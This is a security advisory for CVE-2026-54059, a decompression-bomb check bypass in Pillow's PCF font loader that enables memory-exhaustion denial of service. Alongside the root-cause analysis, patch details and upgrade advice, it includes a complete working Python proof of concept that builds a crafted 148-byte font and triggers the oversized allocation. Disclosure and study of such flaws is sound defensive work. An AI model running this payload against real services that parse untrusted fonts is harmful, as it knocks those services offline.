high · 7.5CVE-2026-54059Jul 20, 2026

CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Pillow's PCF font loader skips the decompression bomb size check, letting an attacker allocate over 1 GB of heap memory with a ~148-byte crafted font file.

Packagepillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

In `PIL/PcfFontFile.py`, `_load_bitmaps()` reads glyph width and height from the attacker-controlled PCF METRICS section and hands them straight to `Image.frombytes()`. The normal guard, `Image._decompression_bomb_check()`, is never called on this path.

Because `frombytes()` calls `Image.new()` first, the full C-heap buffer is allocated before any data validation happens. A single glyph can reach 65,535 x 131,070 pixels (roughly 1.07 GB at 1 bit per pixel), and there is no per-font limit. Any service that passes untrusted PCF font data to `PcfFontFile(fp)` is affected, including cases where the bitmap data itself is truncated (transient allocation still occurs before the resulting `ValueError` is raised).

Proof of concept

A working proof-of-concept for CVE-2026-54059 in pillow, with the exact payload below.

python
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF triggers oversized heap allocation"""
import io, struct, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile

W, H = 14000, 14000   # 196 M pixels — above DecompressionBombError threshold

PCF_MAGIC     = 0x70636601
PCF_PROPS     = 1 << 0
PCF_METRICS   = 1 << 2
PCF_BITMAPS   = 1 << 3
PCF_ENCODINGS = 1 << 5

def build_bomb_pcf(xsize, ysize):
    props    = struct.pack("<III", 0, 0, 0)
    metrics  = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
    bitmaps  = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0)
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings  = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)
    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size    : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1', 1 bit/pixel)")

try:
    font = PcfFontFile(io.BytesIO(pcf))
    print("[!] CONFIRMED (persistent): bomb check bypassed")
except Exception as e:
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after heap allocation")
    print(f"    C-heap spike of ~{W*H//8//1024**2} MB occurred before exception")

# Expected output on vulnerable Pillow < 12.3.0:
# [*] PCF file size : 148 bytes
# [*] Glyph size    : 14000 x 14000 = 196,000,000 pixels
# [*] C-heap target : 23 MB (mode '1', 1 bit/pixel)
# [!] CONFIRMED (transient): ValueError after heap allocation
#     C-heap spike of ~23 MB occurred before exception
#
# Maximum amplification (max PCF dimensions):
# xsize = 65535, ysize = 131070 -> ~1.07 GB C-heap spike per glyph

The root cause is a missing call to `Image._decompression_bomb_check((xsize, ysize))` before `Image.frombytes()` in `_load_bitmaps()`. Glyph dimensions come from unsigned 16-bit PCF METRICS fields, so xsize can reach 65,535 and ysize can reach 131,070 (ascent + descent), multiplying to roughly 8.5 billion pixels with no guard.

`Image.frombytes()` internally calls `Image.new()` to allocate the full pixel buffer on the C heap before it attempts to fill it with data. This means even a truncated file with no real bitmap data still causes the allocation spike, making denial of service trivial with a ~148-byte input.

The patch (commit `0a263e6264aa5399988d9acd3bbfbca2ca3ec77d`) inserts `Image._decompression_bomb_check((xsize, ysize))` immediately before the `Image.frombytes()` call in `_load_bitmaps()`, matching the protection already present on the `Image.open()` path. CWE-789: Memory Allocation with Excessive Size Value.

The fix

Upgrade Pillow to 12.3.0 or later (`pip install --upgrade pillow`). The fix is in commit `0a263e6264aa5399988d9acd3bbfbca2ca3ec77d`. If you cannot upgrade immediately, avoid passing untrusted PCF font data to `PcfFontFile()`, and set OS or container memory limits per worker as a secondary control.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research